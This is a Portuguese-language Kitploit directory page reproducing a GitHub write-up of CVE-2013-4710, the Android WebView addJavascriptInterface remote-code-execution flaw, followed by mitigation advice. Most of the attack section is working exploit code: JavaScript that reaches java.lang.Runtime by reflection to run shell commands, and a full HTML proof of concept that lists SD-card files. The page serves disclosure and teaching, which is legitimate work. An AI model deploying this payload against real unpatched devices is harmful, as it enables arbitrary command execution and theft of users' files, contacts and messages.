Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2013-4710-WebView-RCE-Vulnerability — Android 3.0 até 4.1.x em dispositivos Disney Mobile, eAccess, KDDI, NTT DOCOMO, SoftBank e outros não implementa corretamente a classe WebView, o que permite que atacantes remotos executem métodos arbitrários de objetos Java ou causem negação de serviço (reinicialização) por meio de uma página web maliciosa, como demonstrado pelo uso do método WebView.addJavascriptInterface, um problema relacionado ao CVE-2012-6636. | Kitploit
Ferramentas/GitHubGitHub/snip3r69/cve-2013-4710-webview-rce-vulnerability
Segurança AndroidAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança MóvelDesenvolvimento de Payloads
GitHubsnip3r69/cve-2013-4710-webview-rce-vulnerability

CVE-2013-4710-WebView-RCE-Vulnerability

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Ver Repositório
12há 4 anosAinda não revisado

Android 3.0 até 4.1.x em dispositivos Disney Mobile, eAccess, KDDI, NTT DOCOMO, SoftBank e outros não implementa corretamente a classe WebView, o que permite que atacantes remotos executem métodos arbitrários de objetos Java ou causem negação de serviço (reinicialização) por meio de uma página web maliciosa, como demonstrado pelo uso do método WebView.addJavascriptInterface, um problema relacionado ao CVE-2012-6636.

Compartilhar

CVE-2013-4710 – Vulnerabilidade de RCE em WebView

Descrição da Vulnerabilidade

Muitas vezes usamos WebView para exibir uma página web. Por exemplo, muitas aplicações, para obter controle do servidor, exibem resultados em páginas web, em vez de implementações locais. Isso tem muitas vantagens, como a mudança de interface não exigir o lançamento de uma nova versão, pois basta modificar diretamente no servidor. Ao usar páginas web para exibir a interface, geralmente há interação com código Java, como quando um botão é clicado na página web – precisamos saber o evento de clique ou chamar um método para executar alguma ação. Para alcançar essas interações, costumamos usar JS. O WebView já fornece um método para isso, com o seguinte uso específico:

root@kitploit:~
mWebView.getSettings().setJavaScriptEnabled(true);  
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");

Pedimos ao WebView para registrar um objeto com o nome "jsInterface", e então podemos acessar o objeto jsInterface no JS, invocar alguns métodos do objeto e, finalmente, chamar o código Java, realizando assim a interação entre JS e código Java.

Vamos dar uma olhada no método addJavascriptInterface na descrição do site Android:

Este método pode ser usado para permitir que JavaScript controle a aplicação hospedeira. É um recurso poderoso, mas também apresenta um risco de segurança para aplicações direcionadas ao nível de API JELLYBEAN ou inferior, porque o JavaScript pode usar reflexão para acessar campos públicos de um objeto injetado. O uso deste método em um WebView contendo conteúdo não confiável pode permitir que um atacante manipule a aplicação hospedeira de maneiras não intencionais, executando código Java com as permissões da aplicação hospedeira. Tenha extremo cuidado ao usar este método em um WebView que possa conter conteúdo não confiável.

O JavaScript interage com o objeto Java em uma thread privada e de segundo plano deste WebView. Portanto, é necessário cuidado para manter a segurança da thread. Os campos do objeto Java não são acessíveis.

Simplificando, usar addJavascriptInterface pode levar à insegurança, porque o JS pode conter código malicioso. Essa brecha é o que queremos dizer hoje: quando o JS contém código malicioso, ele pode fazer qualquer coisa.


Impacto da Vulnerabilidade

Através do JavaScript, é possível acessar qualquer coisa no dispositivo no cartão SD, e até mesmo informações de contato, SMS, etc. É nojento, quack.

  1. O WebView adiciona um objeto JavaScript, e a aplicação atual tem permissões de leitura e gravação no SDCard, ou: android.permission.WRITE_EXTERNAL_STORAGE
  2. Através do objeto window, pode-se encontrar no JS o método getClass do objeto, e então, através do mecanismo de reflexão, obter o objeto Runtime, e então chamar o método estático para executar alguns comandos, como o comando de acesso a arquivos.
  3. A string retornada do fluxo de entrada do comando de execução permite obter as informações do nome do arquivo. Então faça o que quiser, grande risco. O código JS central é o seguinte:
root@kitploit:~
function execute(cmdArgs)  
{  
   for (var obj in window) {  
      if ("getClass" in window[obj]) {  
         alert(obj);  
         return  window[obj].getClass().forName("java.lang.Runtime")  
               .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
      }  
   }  
}   

Exploração

Para provar essa brecha, estou apenas carregando um código JS malicioso de uma página web local. O código HTML é o seguinte:

root@kitploit:~
<html>  
  <head>  
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  
    <script>  
      var i=0;  
      function getContents(inputStream)  
      {  
        var contents = ""+i;  
        var b = inputStream.read();  
        var i = 1;  
        while(b != -1) {  
            var bString = String.fromCharCode(b);  
            contents += bString;  
            contents += "\n"  
            b = inputStream.read();  
        }  
        i=i+1;  
        return contents;  
       }  
        
       function execute(cmdArgs)  
       {  
        for (var obj in window) {  
            console.log(obj);  
            if ("getClass" in window[obj]) {  
                alert(obj);  
                return window[obj].getClass().forName("java.lang.Runtime").  
                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
             }  
         }  
       }   
        
      var p = execute(["ls","/mnt/sdcard/"]);  
      document.write(getContents(p.getInputStream()));  
    </script>  
  
    <script language="javascript">  
      function onButtonClick()   
      {  
        // Call the method of injected object from Android source.  
        var text = jsInterface.onButtonClick("Text passed in from the JS!!!");  
        alert(text);  
      }  
  
      function onImageClick()   
      {  
        //Call the method of injected object from Android source.  
        var src = document.getElementById("image").src;  
        var width = document.getElementById("image").width;  
        var height = document.getElementById("image").height;  
  
        // Call the method of injected object from Android source.  
        jsInterface.onImageClick(src, width, height);  
      }  
    </script>  
  </head>  
  
  <body>  
      <p>Click on the image to the URL to Java code</p>  
        
    </p>  
    <button type="button" onclick="onButtonClick()">Interaction with the Java code</button>  
  </body>  
</html>  
  1. Por favor, veja o método execute(), que percorre todos os objetos window, encontra um objeto com o método getClass, usa a classe desse objeto, encontra o objeto java.lang.Runtime, então chama o método estático getRuntime para obter uma instância de Runtime, e então chama o método exec() para executar um comando.
  2. Métodos getContents(), lê do fluxo, exibe na interface.
  3. O código chave está nas seguintes linhas
root@kitploit:~
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

O código Java é o seguinte:

root@kitploit:~
mWebView = (WebView) findViewById(R.id.webview);  
mWebView.getSettings().setJavaScriptEnabled(true);  
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  
mWebView.loadUrl("file:///android_asset/html/test.html");  

É necessário adicionar permissões:

root@kitploit:~
<uses-permission android:name="android.permission.INTERNET"/>  
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  

Mitigação

  • Sistema Android 4.2 ou superior

No Android 4.2 ou superior, a Google modificou a declaração do método remoto Java com @JavascriptInterface, como no seguinte código:

root@kitploit:~
class JsObject {  
   @JavascriptInterface  
   public String toString() { return "injectedObject"; }  
}  
webView.addJavascriptInterface(new JsObject(), "injectedObject");  
webView.loadData("", "text/html", null);  
webView.loadUrl("javascript:alert(injectedObject.toString())");  
  • Sistema Android 4.2 ou inferior

Este problema é difícil de resolver, mas também não pode ser resolvido. Primeiro de tudo, não devemos chamar o método addJavascriptInterface. Nesta questão, o núcleo é saber a ação do evento JS. Sabemos que JS interage com Java de várias maneiras, como prompt, alert — essas ações corresponderiam ao método WebChromeClient, a classe correspondente para prompt, que corresponde ao método onJsPrompt. A declaração deste método é a seguinte:

root@kitploit:~
public boolean onJsPrompt(WebView view, String url, String message,   
    String defaultValue, JsPromptResult result)  

Através deste método, JS pode transferir informações (texto) para Java, e Java também pode obter informações (texto) transmitidas para o JS.

Baixar ferramenta